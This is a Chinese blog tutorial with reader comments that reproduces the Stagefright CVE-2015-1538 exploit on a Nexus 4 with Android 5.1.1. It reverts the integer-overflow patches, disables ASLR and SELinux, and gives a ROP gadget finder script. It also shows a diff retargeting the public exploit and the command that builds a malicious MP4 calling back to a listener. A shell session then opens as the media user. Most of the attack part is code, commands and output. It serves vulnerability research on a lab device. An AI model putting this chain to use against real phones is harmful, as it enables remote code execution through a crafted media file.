Android: 在Nexus4 @ 5.1.1_r19中复现CVE-2015-1538#1漏洞

由于Android系统中,mediaserver可能存在很多的漏洞,会自动执行黑客代码,所以在Android N系统中,google把mediaserver拆分成了好多模块,各模块运行在不同的进程中,以解决之前mediaserver进程同时拥有太多权限,黑客可能只需要发送一条彩信,就可以控制你的手机。那么他是怎么做到的呢。目前网上有两篇文章描述如何通过mediaserver漏洞植入黑客代码:

-https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/

-http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html

这里,我们主要是学习如何第一篇文章的攻击方法。相关的源代码可以从https://github.com/jduck/cve-2015-1538-1上下载。

先看一下https://github.com/jduck/cve-2015-1538-1/blob/master/README

This exploit has several caveats. First, it is not a generic exploit. It's only been tested to work on a single device model. My target was the Galaxy Nexus device running Android 4.0.4 containing only a partial implementation of ASLR. Also, due to variances in heap layout, this is not a 100% reliable exploit by itself. However, I was able achieve 100% reliability when delivered through an attack vector that allowed multiple attempts. Finally, this vulnerability was one of several that was neutered by GCC 5.0’s ‘new[]’ integer overflow mitigation present on Android 5.0 and later.

可以看到作者是在运行着Android 4.0.4的Galaxy Nexus设备上进行的。同时由于我们是在Android 5.1.1_r19系统上进行的,要特别注意一下C++的new操作。

  • Android系统代码下载
$ repo init -u https://android.googlesource.com/platform/manifest -b android-5.1.1_r19

同于我们还需要这个版本对应的binaries文件,android-5.1.1_r19对应的build ID 为LMY48T,所以需要从这里下载Nexus 4所需的binaries文件:

https://developers.google.com/android/nexus/drivers#makolmy48t

  • 回退相关的patch文件

根据http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-1538 -> https://groups.google.com/forum/message/raw?msg=android-security-updates/Ugvu3fi6RQM/yzJvoTVrIQAJ 提示,回退这两个patch:

1. https://android.googlesource.com/platform/frameworks/av/+/cf1581c66c2ad8c5b1aaca2e43e350cf5974f46d

2. https://android.googlesource.com/platform/frameworks/av/+/2434839bbd168469f80dd9a22f1328bc81046398

由于回退这两个版本会有冲突,请参考下面的改动:

commit ed7fecea354c87c5748913a80a959c029f5cfee2
Author: hzak <brobwind@126.com>
Date:   Fri Jun 10 20:55:27 2016 +0800

    Revert "Fix integer overflow during MP4 atom processing"
    
    This reverts commit 2434839bbd168469f80dd9a22f1328bc81046398.

diff --git a/media/libstagefright/SampleTable.cpp b/media/libstagefright/SampleTable.cpp
index a3e7d53..d8e365a 100644
--- a/media/libstagefright/SampleTable.cpp
+++ b/media/libstagefright/SampleTable.cpp
@@ -235,9 +235,6 @@ status_t SampleTable::setSampleToChunkParams(
         return ERROR_MALFORMED;
     }
 
-    if (SIZE_MAX / sizeof(SampleToChunkEntry) <= mNumSampleToChunkOffsets)
-        return ERROR_OUT_OF_RANGE;
-
     mSampleToChunkEntries =
         new SampleToChunkEntry[mNumSampleToChunkOffsets];
 

commit 79f3cb74b5b74ae3f6a7c1e7c53ebdb457b4094d
Author: hzak <brobwind@126.com>
Date:   Fri Jun 10 20:54:47 2016 +0800

    Revert "Fix several ineffective integer overflow checks"
    
    This reverts commit cf1581c66c2ad8c5b1aaca2e43e350cf5974f46d.
    
    Conflicts:
        media/libstagefright/SampleTable.cpp

diff --git a/media/libstagefright/SampleTable.cpp b/media/libstagefright/SampleTable.cpp
index d7251f4..a3e7d53 100644
--- a/media/libstagefright/SampleTable.cpp
+++ b/media/libstagefright/SampleTable.cpp
@@ -341,7 +341,7 @@ status_t SampleTable::setTimeToSampleParams(
     }
 
     mTimeToSampleCount = U32_AT(&header[4]);
-    uint64_t allocSize = (uint64_t)mTimeToSampleCount * 2 * sizeof(uint32_t);
+    uint64_t allocSize = mTimeToSampleCount * 2 * sizeof(uint32_t);
     if (allocSize > SIZE_MAX) {
         return ERROR_OUT_OF_RANGE;
     }
@@ -387,7 +387,7 @@ status_t SampleTable::setCompositionTimeToSampleParams(
     }
 
     mNumCompositionTimeDeltaEntries = numEntries;
-    uint64_t allocSize = (uint64_t)numEntries * 2 * sizeof(uint32_t);
+    uint64_t allocSize = numEntries * 2 * sizeof(uint32_t);
     if (allocSize > SIZE_MAX) {
         return ERROR_OUT_OF_RANGE;
     }
@@ -437,7 +437,7 @@ status_t SampleTable::setSyncSampleParams(off64_t data_offset, size_t data_size)
         ALOGV("Table of sync samples is empty or has only a single entry!");
     }
 
-    uint64_t allocSize = mNumSyncSamples * (uint64_t)sizeof(uint32_t);
+    uint64_t allocSize = mNumSyncSamples * sizeof(uint32_t);
     if (allocSize > SIZE_MAX) {
         return ERROR_OUT_OF_RANGE;
     }

编译整个Android项目

$ . build/envsetup.sh
$ lunch aosp_mako-userdebug
  • 更新系统固件
$ adb reboot-bootloader
$ fastboot flashall
  • 暂时关闭kernel Address space layout randomization(ASLR)

为了方便复现问题,暂时关闭ASLR

$ adb shell 'echo 0 > /proc/sys/kernel/randomize_va_space'

NOTE: 理论上来说,可以在kernel parameter中加入norandmaps参数来实再,但貌似在Nexus4上不起作用。

  • 关闭selinux(将其设为permissive):

执行https://github.com/jduck/cve-2015-1538-1/blob/master/Stagefright_CVE-2015-1538-1_Exploit.py中的shell code需要特殊的selinux权限。

$ adb shell setenforce 0
06-13 17:19:14.564  2954  2954 W generic : type=1400 audit(0.0:5): avc: denied { execute } for name="sh" dev="mmcblk0p21" ino=285 scontext=u:r:mediaserver:s0 tcontext=u:object_r:shell_exec:s0 tclass=file
06-13 17:19:14.574  2954  2954 W generic : type=1400 audit(0.0:6): avc: denied { read open } for name="sh" dev="mmcblk0p21" ino=285 scontext=u:r:mediaserver:s0 tcontext=u:object_r:shell_exec:s0 tclass=file
06-13 17:19:14.574  2954  2954 W generic : type=1400 audit(0.0:7): avc: denied { execute_no_trans } for path="/system/bin/sh" dev="mmcblk0p21" ino=285 scontext=u:r:mediaserver:s0 tcontext=u:object_r:shell_exec:s0 tclass=file
06-13 17:19:25.636  2959  2959 W sh      : type=1400 audit(0.0:8): avc: denied { execute_no_trans } for path="/system/bin/toolbox" dev="mmcblk0p21" ino=298 scontext=u:r:mediaserver:s0 tcontext=u:object_r:system_file:s0 tclass=file
06-13 17:19:28.138  2960  2960 W ls      : type=1400 audit(0.0:9): avc: denied { getattr } for path="/persist" dev="mmcblk0p20" ino=2 scontext=u:r:mediaserver:s0 tcontext=u:object_r:persist_file:s0 tclass=dir

即:

hzak@B85RPI:/data/mako-5.1.1_r19$ cat mydebug.log | audit2allow -p out/target/product/mako/root/sepolicy 


#============= mediaserver ==============
allow mediaserver persist_file:dir getattr;
allow mediaserver shell_exec:file { read execute open execute_no_trans };
allow mediaserver system_file:file execute_no_trans;
  • 设置相关的系统属性

设置系统属性debug.db.uid需要root权限,使adbd进程具备root权限:

$ adb root
$ adb shell setprop debug.db.uid 1000000

NOTE: debug.db.uid系统属性可根据需要进行设置。

  • 下载exploit代码:
$ git clone https://github.com/jduck/cve-2015-1538-1
$ cd cve-2015-1538-1 && ln -sv Stagefright_CVE-2015-1538-1_Exploit.py mp4.py

从https://bugs.chromium.org/p/project-zero/issues/detail?id=502&redir=1 下载mp4_stagefright_release.py, 从中提取相关代码,用于从elf文件中提取所需的god gadget(为什么这么叫它?):find_god_gadget.py

#!/usr/bin/python2

import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct

# ROP gadget addresses
pop_pc = None
pop_r0_r1_r2_r3_r4_pc = None

def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
        break
  return gadget_address

def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
        break
  return gadget_address
  
def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)

def find_rop_gadgets(base, path):
  global pop_pc
  global pop_r0_r1_r2_r3_r4_pc

  e = elf.ELF(path)
  e.address = base

  pop_pc_asm = 'pop {pc}'
  pop_pc = find_gadget(e, pop_pc_asm)
  print '[*] pop_pc : 0x{:08x}'.format(pop_pc)

  pop_r0_r1_r2_r3_r4_pc = find_gadget(e, 'pop {r0, r1, r2, r3, r4, pc}')
  if pop_r0_r1_r2_r3_r4_pc is not None:
    print '[*] pop_r0_r1_r2_r3_r4_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_r4_pc)
    return

if __name__ == '__main__':
  import argparse

  def addr(sval):
    if sval.startswith('0x'):
        return int(sval, 16)
    return int(sval)

  # Allow the user to override parameters
  parser = argparse.ArgumentParser()
  parser.add_argument('-b', '--base', dest='base', type=addr, default=0x00000000)
  parser.add_argument('-e', '--elf', dest='elf', default='libc.so')
  args = parser.parse_args()

#  if len(sys.argv) == 1:
#    parser.print_help()
#    sys.exit(-1)

  find_rop_gadgets(args.base, args.elf)

NOTE:

执行这个脚本你需要安装https://github.com/Gallopsled/pwntools

由于需要binutils, 所以需要在建立编译android项目环境后再执行这个脚本。

  • 创建cve-2015-1538-1.mp4文件

在创建这个文件之前,我们需要知道:

-__dl_restore_core_regs, __dl_mprotect这两个符号在mediaserver进程中的地址,可以通过gdbclient命令查看:

hzak@B85RPI:/data/mako-5.1.1_r19$ gdbclient /system/bin/mediaserver 5039
Starting gdbserver...
. adb forward for port=5039...
. starting gdbserver to attach to pid=2058...
[1] 6109
. give it couple of seconds to start...
Attached; pid = 2058
Listening on port 5039
. done
GNU gdb (GDB) 7.6
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=x86_64-linux-gnu --target=arm-linux-android".
For bug reporting instructions, please see:
<http://source.android.com/source/report-bugs.html>...
Reading symbols from /data/mako-5.1.1_r19/out/target/product/mako/symbols/system/bin/mediaserver...done.
Remote debugging from host 127.0.0.1
warning: Could not load shared library symbols for 12 libraries, e.g. libdiag.so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
__ioctl () at bionic/libc/arch-arm/syscalls/__ioctl.S:8
8	    swi     #0
(gdb) x/2i __dl_restore_core_regs
   0xb6ff7854 <__dl_restore_core_regs>:	add	r1, r0, #52	; 0x34
   0xb6ff7858 <__dl_restore_core_regs+4>:	ldm	r1, {r3, r4, r5}
(gdb) x/2i __dl_mprotect
   0xb6ff65c0 <__dl_mprotect>:	mov	r12, r7
   0xb6ff65c4 <__dl_mprotect+4>:	mov	r7, #125	; 0x7d

-pop {pc}与pop {r0, r1, r2, r3, r4, pc}这两个god gadget在mediaserver进程中所在的地址

mediaserver进行有哪些elf/so文件,可通过如下命令查看:

$ adb shell cat /proc/`adb shell ps | grep mediaserver | awk '{ print $2 }'`/maps | awk '{ print $6 }' | sort -u

我们可以先通过之前的find_god_gadget.py脚本查找哪个elf/so有这两个god gadget,可通过如下命令:

hzak@B85RPI:~/cve-2015-1538-1$ ./find_rop_gadget.py -e /data/mako-5.1.1_r19/out/target/product/mako/system/lib/libstagefright.so
   44f50:       bd00            pop     {pc}
[*] pop_pc : 0x00044f51
   b3560:       bd1f            pop     {r0, r1, r2, r3, r4, pc}
[*] pop_r0_r1_r2_r3_r4_pc : 0x000b3561

这里我们可以知道libstagefright.so包含有这两个god gadget。

我们再查看一下libstagefright.so可执行代码在内存中的位置:

hzak@B85RPI:/data/mako-5.1.1_r19$ adb shell cat /proc/`adb shell ps | grep mediaserver | awk '{ print $2 }'`/maps | grep libstagefright.so
b668a000-b679f000 r-xp 00000000 b3:15 1056       /system/lib/libstagefright.so
b67a0000-b67a9000 r--p 00115000 b3:15 1056       /system/lib/libstagefright.so
b67a9000-b67aa000 rw-p 0011e000 b3:15 1056       /system/lib/libstagefright.so

可以看到可执行代码位于0xb668a000 ~ 0xb67a0000上。这时,我们再通过find_rop_gadget.py脚本确定这两个gadget在mediaserver进程中的位置:

hzak@B85RPI:~/cve-2015-1538-1$ ./find_rop_gadget.py -e /data/mako-5.1.1_r19/out/target/product/mako/system/lib/libstagefright.so -b 0xb668a000
b66cef50:       bd00            pop     {pc}
[*] pop_pc : 0xb66cef51
b673d560:       bd1f            pop     {r0, r1, r2, r3, r4, pc}
[*] pop_r0_r1_r2_r3_r4_pc : 0xb673d561

这时,我们就可以得到这两个gadget分别在0xb66cef51与0xb673d561。

-我们还需要知道Stagefright_CVE-2015-1538-1_Exploit.py中提到的spray address(sp_addr)的大致位置

这个地址其实是frameworks/av/media/libstagefright/MPEG4Extractor.cpp中mDataSource所在的位置,因为mDataSource在堆中,所在的内存地址不是固定的,但是它总会落在一定的范围内。

这里还是需要说一下我的理解(原理):

首先看一下切入点的代码:frameworks/av/media/libstagefright/SampleTable.cpp

status_t SampleTable::setSampleToChunkParams(
        off64_t data_offset, size_t data_size) {
    if (mSampleToChunkOffset >= 0) {
        return ERROR_MALFORMED;
    }

    mSampleToChunkOffset = data_offset;

    if (data_size < 8) {
        return ERROR_MALFORMED;
    }

    uint8_t header[8];
    if (mDataSource->readAt(
                data_offset, header, sizeof(header)) < (ssize_t)sizeof(header)) {
        return ERROR_IO;
    }

    if (U32_AT(header) != 0) {
        // Expected version = 0, flags = 0.
        return ERROR_MALFORMED;
    }

    mNumSampleToChunkOffsets = U32_AT(&header[4]);

    if (data_size < 8 + mNumSampleToChunkOffsets * 12) {
        return ERROR_MALFORMED;
    }

    mSampleToChunkEntries =
        new SampleToChunkEntry[mNumSampleToChunkOffsets];

    for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) {
        uint8_t buffer[12];
        if (mDataSource->readAt(
                    mSampleToChunkOffset + 8 + i * 12, buffer, sizeof(buffer))
                != (ssize_t)sizeof(buffer)) {
            return ERROR_IO;
        }

        CHECK(U32_AT(buffer) >= 1);  // chunk index is 1 based in the spec.

        // We want the chunk index to be 0-based.
        mSampleToChunkEntries[i].startChunk = U32_AT(buffer) - 1;
        mSampleToChunkEntries[i].samplesPerChunk = U32_AT(&buffer[4]);
        mSampleToChunkEntries[i].chunkDesc = U32_AT(&buffer[8]);
    }

    return OK;
}

由Stagefright_CVE-2015-1538-1_Exploit.py可以看到mNumSampleToChunkOffsets为0xc0000003,而sizeof(SampleToChunkEntry)为12, 所以sizeof(SampleToChunkEntry[mNumSampleToChunkOffsets])为0x900000024。android-5.1.1_r19的new操作能够正常处理:

06-13 16:41:24.878  1772  1772 E MPEG4Extractor: chunk: stsc @ 2020289, 5
--------- beginning of crash
06-13 16:41:24.878  1772  1772 F libc    : new[] failed to allocate 4294967295 bytes
06-13 16:41:24.879  1772  1772 F libc    : Fatal signal 6 (SIGABRT), code -6 in tid 1772 (mediaserver)
06-13 16:41:24.993   185   185 I DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-13 16:41:24.993   560   678 W NativeCrashListener: Couldn't find ProcessRecord for pid 1772
06-13 16:41:24.993   185   185 I DEBUG   : Build fingerprint: 'Android/aosp_mako/mako:5.1.1/LMY48T/hzak06040007:userdebug/test-keys'
06-13 16:41:24.994   185   185 E DEBUG   : AM write failure (32 / Broken pipe)
06-13 16:41:24.994   185   185 I DEBUG   : Revision: '11'
06-13 16:41:24.994   185   185 I DEBUG   : ABI: 'arm'
06-13 16:41:24.994   185   185 I DEBUG   : pid: 1772, tid: 1772, name: mediaserver  >>> /system/bin/mediaserver <<<
06-13 16:41:24.995   185   185 I DEBUG   : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------
06-13 16:41:25.034   185   185 I DEBUG   :     r0 00000000  r1 000006ec  r2 00000006  r3 00000000
06-13 16:41:25.034   185   185 I DEBUG   :     r4 b6ffee38  r5 00000006  r6 0000000c  r7 0000010c
06-13 16:41:25.034   185   185 I DEBUG   :     r8 0000000c  r9 beffeb34  sl b6f5fdd4  fp b67a640c
06-13 16:41:25.034   185   185 I DEBUG   :     ip 000006ec  sp beffeaa8  lr b6f1b989  pc b6f41fc4  cpsr 60010010
06-13 16:41:25.035   185   185 I DEBUG   : 
06-13 16:41:25.035   185   185 I DEBUG   : backtrace:
06-13 16:41:25.035   185   185 I DEBUG   :     #00 pc 0003cfc4  /system/lib/libc.so (tgkill+12)
06-13 16:41:25.035   185   185 I DEBUG   :     #01 pc 00016985  /system/lib/libc.so (pthread_kill+52)
06-13 16:41:25.035   185   185 I DEBUG   :     #02 pc 00017597  /system/lib/libc.so (raise+10)
06-13 16:41:25.035   185   185 I DEBUG   :     #03 pc 00013d3d  /system/lib/libc.so (__libc_android_abort+36)
06-13 16:41:25.035   185   185 I DEBUG   :     #04 pc 000124ec  /system/lib/libc.so (abort+4)
06-13 16:41:25.035   185   185 I DEBUG   :     #05 pc 0000146d  /system/lib/libstdc++.so
06-13 16:41:25.035   185   185 I DEBUG   :     #06 pc 00000c69  /system/lib/libstdc++.so (operator new[](unsigned int)+16)
06-13 16:41:25.035   185   185 I DEBUG   :     #07 pc 00097d1d  /system/lib/libstagefright.so (android::SampleTable::setSampleToChunkParams(long long, unsigned int)+128)
06-13 16:41:25.035   185   185 I DEBUG   :     #08 pc 00078f63  /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+1738)
06-13 16:41:25.035   185   185 I DEBUG   :     #09 pc 00078d3b  /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+1186)
06-13 16:41:25.035   185   185 I DEBUG   :     #10 pc 00078d3b  /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+1186)

为了复现这个问题,上面的代码修改如下:

    mSampleToChunkEntries =
        new SampleToChunkEntry[mNumSampleToChunkOffsets & 0x00ffffff];

这样mSampleToChunkEntries分配到的堆栈大小为0x00000024,在执行下面的for (…)时,就会出现堆栈溢出。在有些时候,mSampleToChunkEntries的地址要低于mDataSource的地址要小,所以就会出现mDataSource被改写的情况,所以mDataSource->readAt()的调用就会改变。实际上是去调用__dl_restore_core_regs:

06-13 16:56:14.178  2450  2523 E MPEG4Extractor: No width or height, assuming worst case 1080p
06-13 16:56:14.178  2450  2523 E MPEG4Extractor: chunk: stts @ 688, 3
06-13 16:56:14.178  2450  2523 E MPEG4Extractor: chunk: tx3g @ 704, 1
06-13 16:56:14.252  2450  2523 E MPEG4Extractor: tx3g: 0xb4c7f008 - 0xb4e6b010, size: 2015240(0x1ec008)
06-13 16:56:14.252  2450  2523 E hexdump : 00000000:  00 1e c0 08 74 78 33 67  20 40 e4 b4 18 40 e4 b4  ....tx3g @...@..
06-13 16:56:14.252  2450  2523 E hexdump : 00000010:  01 00 00 00 ad db de c0  28 40 e4 b4 10 00 00 00  ........(@......
06-13 16:56:14.252  2450  2523 E hexdump : 00000020:  30 40 e4 b4 be ba 0d f0  00 00 de c0 04 00 de c0  0@..............
06-13 16:56:14.252  2450  2523 E hexdump : 00000030:  08 00 de c0 54 78 ff b6  30 00 f0 f0 50 40 e4 b4  ....Tx..0...P@..
...
06-13 16:56:14.287  2450  2523 E MPEG4Extractor: chunk: dref @ 2020253, 5
06-13 16:56:14.287  2450  2523 E MPEG4Extractor: chunk: stbl @ 2020281, 4
06-13 16:56:14.287  2450  2523 E MPEG4Extractor: sampleTable chunk is 4620 bytes long.
06-13 16:56:14.287  2450  2523 E MPEG4Extractor: sampleTable @0x2a057090, mDataSource @0x2a04d3f0
06-13 16:56:14.287  2450  2523 E MPEG4Extractor: chunk: stsc @ 2020289, 5

 

-修改Stagefright_CVE-2015-1538-1_Exploit.py文件

hzak@B85RPI:~/cve-2015-1538-1$ git diff
diff --git a/Stagefright_CVE-2015-1538-1_Exploit.py b/Stagefright_CVE-2015-1538-1_Exploit.py
index 50f6121..cf316bf 100755
--- a/Stagefright_CVE-2015-1538-1_Exploit.py
+++ b/Stagefright_CVE-2015-1538-1_Exploit.py
@@ -125,15 +125,16 @@ b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>
 def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
     rop = ''
     rop += struct.pack('<L', sp_addr + off + 0x10) # new sp
-    rop += struct.pack('<L', 0xb0002a98)           # new lr - pop {pc}
-    rop += struct.pack('<L', 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}
+    rop += struct.pack('<L', 0xb66cef51)           # new lr - pop {pc}
+    rop += struct.pack('<L', 0xb673d561)         # new pc: pop {r0, r1, r2, r3, r4, pc}
 
     rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 - base address (page aligned)
     rop += struct.pack('<L', 0x1000)               # new r1 - length
     rop += struct.pack('<L', 7)                    # new r2 - protection
     rop += struct.pack('<L', 0xd000d003)           # new r3 - scratch
     rop += struct.pack('<L', 0xd000d004)           # new r4 - scratch
-    rop += struct.pack('<L', 0xb0001144)           # new pc - _dl_mprotect
+#    rop += struct.pack('<L', 0xb0001144)           # new pc - _dl_mprotect
+    rop += struct.pack('<L', 0xb6ff65c0)           # new pc - _dl_mprotect
 
     native_start = sp_addr + 0x80
     rop += struct.pack('<L', native_start)         # address of native payload

-生成cve-2015-1538-1.mp4文件:

hzak@B85RPI:~/cve-2015-1538-1$ ./Stagefright_CVE-2015-1538-1_Exploit.py -c 192.168.5.162 -p 33487 -s 0xb4e44010 -r 0xb6ff7854
[*] Saving crafted MP4 to cve-2015-1538-1.mp4 ...

-打开终端等待连接

hzak@B85RPI:/data/mako-5.1.1_r19$ nc -l 33487 -v
Listening on [0.0.0.0] (family 0, port 33487)

Connection from [192.168.5.141] port 33487 [tcp/*] accepted (family 2, sport 36147)
hzak@B85RPI:/data/mako-5.1.1_r19$ nc -l 33487 -v
Listening on [0.0.0.0] (family 0, port 33487)
Connection from [192.168.5.141] port 33487 [tcp/*] accepted (family 2, sport 40280)
id
uid=1013(media) gid=1005(audio) groups=1006(camera),1026(drmrpc),1031(mediadrm),3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct) context=u:r:mediaserver:s0
ls -l
__bionic_open_tzdata_path: ANDROID_ROOT not set!
__bionic_open_tzdata_path: ANDROID_ROOT not set!
__bionic_open_tzdata_path: ANDROID_ROOT not set!
drwxr-xr-x root     root              2016-06-13 08:28 acct
drwxrwx--- system   cache             2016-03-08 03:52 cache
lrwxrwxrwx root     root              1970-01-01 00:00 charger -> /sbin/healthd
dr-x------ root     root              2016-06-13 08:28 config
lrwxrwxrwx root     root              2016-06-13 08:28 d -> /sys/kernel/debug
...

NOTE:

连接成功之后可以通过id命令查看当前的用户、组信息

-从PC下载cve-2015-1538-1.mp4文件

在PC端建一个简单的http服务器,再通过手机的浏览器下载。

  • 调试
    mSampleToChunkEntries =
        new SampleToChunkEntry[mNumSampleToChunkOffsets & 0x00ffffff];
   97d14:   fb08 f000   mul.w   r0, r8, r0
   97d18:   f7b8 eece   blx 50ab8 <_Znaj@plt>
   97d1c:   67b0        str r0, [r6, #120]  ; 0x78

    for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) {
   97d1e:   6ab7        ldr r7, [r6, #40]   ; 0x28
   97d20:   42bd        cmp r5, r7
   97d22:   d230        bcs.n   97d86 <_ZN7android11SampleTable22setSampleToChunkParamsExj+0xea>
   97d24:   68b0        ldr r0, [r6, #8]
   97d26:   fb08 f705   mul.w   r7, r8, r5
        uint8_t buffer[12];
        if (mDataSource->readAt(
                    mSampleToChunkOffset + 8 + i * 12, buffer, sizeof(buffer))
   97d2a:   e9d6 2308   ldrd    r2, r3, [r6, #32]
   97d2e:   6801        ldr r1, [r0, #0]
   97d30:   e9cd 4800   strd    r4, r8, [sp]
   97d34:   f112 0b08   adds.w  fp, r2, #8
   97d38:   f143 0c00   adc.w   ip, r3, #0
   97d3c:   eb1b 0207   adds.w  r2, fp, r7
   97d40:   f14c 0300   adc.w   r3, ip, #0
   97d44:   69c9        ldr r1, [r1, #28]
   97d46:   4788        blx r1
    mSampleToChunkEntries =
        new SampleToChunkEntry[mNumSampleToChunkOffsets & 0x00ffffff];

    for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) {
        uint8_t buffer[12];
        if (mDataSource->readAt(
   97d48:   280c        cmp r0, #12
   97d4a:   d11e        bne.n   97d8a <_ZN7android11SampleTable22setSampleToChunkParamsExj+0xee>
                    mSampleToChunkOffset + 8 + i * 12, buffer, sizeof(buffer))
                != (ssize_t)sizeof(buffer)) {
            return ERROR_IO;
        }

 

2016_06_13_cve-2015-1538-1_gdb

在执行mDataSource->readAt()时,会去执行__dl_restore_core_regs:

2016_06_13_cve-2015-1538-1_gdb_spray

附frameworks/av/相关改动

diff --git a/media/libstagefright/MPEG4Extractor.cpp b/media/libstagefright/MPEG4Extractor.cpp
index 6aa9e50..3ea1ab7 100644
--- a/media/libstagefright/MPEG4Extractor.cpp
+++ b/media/libstagefright/MPEG4Extractor.cpp
@@ -34,6 +34,7 @@
 #include <media/stagefright/foundation/ADebug.h>
 #include <media/stagefright/foundation/AMessage.h>
 #include <media/stagefright/foundation/AUtils.h>
+#include <media/stagefright/foundation/hexdump.h>
 #include <media/stagefright/MediaBuffer.h>
 #include <media/stagefright/MediaBufferGroup.h>
 #include <media/stagefright/MediaDefs.h>
@@ -808,7 +809,7 @@ status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) {
 
     char chunk[5];
     MakeFourCCString(chunk_type, chunk);
-    ALOGV("chunk: %s @ %lld, %d", chunk, *offset, depth);
+    ALOGE("chunk: %s @ %lld, %d", chunk, *offset, depth);
 
 #if 0
     static const char kWhitespace[] = "                                        ";
@@ -869,7 +870,7 @@ status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) {
         case FOURCC('e', 'd', 't', 's'):
         {
             if (chunk_type == FOURCC('s', 't', 'b', 'l')) {
-                ALOGV("sampleTable chunk is %" PRIu64 " bytes long.", chunk_size);
+                ALOGE("sampleTable chunk is %" PRIu64 " bytes long.", chunk_size);
 
                 if (mDataSource->flags()
                         & (DataSource::kWantsPrefetching
@@ -883,6 +884,7 @@ status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) {
                 }
 
                 mLastTrack->sampleTable = new SampleTable(mDataSource);
+                ALOGE("sampleTable @%p, mDataSource @%p", mLastTrack->sampleTable.get(), mDataSource.get());
             }
 
             bool isTrack = false;
@@ -1937,6 +1939,12 @@ status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) {
 
             delete[] buffer;
 
+            if (mLastTrack->meta->findData(
+                    kKeyTextFormatData, &type, &data, &size)) {
+                ALOGE("tx3g: %p - %p, size: %u(0x%x)", data, (unsigned char *)data + size, size, size);
+                hexdump(data, size > 64 ? 64 : size, 0);
+            }
+
             *offset += chunk_size;
             break;
         }
diff --git a/media/libstagefright/SampleTable.cpp b/media/libstagefright/SampleTable.cpp
index d8e365a..40eff34 100644
--- a/media/libstagefright/SampleTable.cpp
+++ b/media/libstagefright/SampleTable.cpp
@@ -236,7 +236,7 @@ status_t SampleTable::setSampleToChunkParams(
     }
 
     mSampleToChunkEntries =
-        new SampleToChunkEntry[mNumSampleToChunkOffsets];
+        new SampleToChunkEntry[mNumSampleToChunkOffsets & 0x00ffffff];
 
     for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) {
         uint8_t buffer[12];
diff --git a/media/libstagefright/foundation/hexdump.cpp b/media/libstagefright/foundation/hexdump.cpp
index a44d832..b97c462 100644
--- a/media/libstagefright/foundation/hexdump.cpp
+++ b/media/libstagefright/foundation/hexdump.cpp
@@ -83,7 +83,7 @@ void hexdump(const void *_data, size_t size, size_t indent, AString *appendTo) {
             appendTo->append(line);
             appendTo->append("\n");
         } else {
-            ALOGI("%s", line.c_str());
+            ALOGE("%s", line.c_str());
         }
 
         offset += 16;
  • Project Zero – Stagefrightened

2016_07_01_stagefrightened

这篇文档不太好打开,请看这里保存的PDF文档:Project Zero_ Stagefrightened_.pdf

  • 相关的参考文档:
  1. http://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization
  2. https://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/
  3. http://huntcve.github.io/2015/12/16/debug-stagefright-exploit/
  4. http://drops.wooyun.org/papers/10896
  5. http://googleprojectzero.blogspot.de/2015/09/stagefrightened.html

《Android: 在Nexus4 @ 5.1.1_r19中复现CVE-2015-1538#1漏洞》有12个想法

  1. aosp源码不含驱动,lunch userdebug ,编译后,再fastboot不是会因为没有usb驱动连不上吗

    1. linux & mac os 是不需要usb驱动的,windows系统中usb驱动的代码也是包含在aosp源码中的。
      在linux(ubuntu)系统中,如果使用fastboot找不到设备,可能是:
      -设备不是在fastboot(bootloader)模式
      -设备没有在fastboot列表中,需要通过-i <vendor id>参数指定
      -没有权限,可通过http://source.android.com/source/initializing.html 中的Configuring USB Access方法解决

  2. 博主,您好,python2.7使用您的find_rop_gadget.py脚本运行报错,请问博主使用的也是python2.7环境么?

    1. 是的,需要使用python2.7环境,同时:
      你需要安装 https://github.com/Gallopsled/pwntools 还有arm 工具链arm-linux-androideabi-
      相关的工具链可以从 https://android.googlesource.com/ 下载

  3. 博主你好,我是夏普手机的用户。夏普从15年开始锁bl,并对内核进行了限制导致root不能写入系统,听国外的大神说可以通过Stagefright CVE-2015-1538-1这个漏洞进行root的尝试。请问道理何在?如果可行请问如何操作进行root?

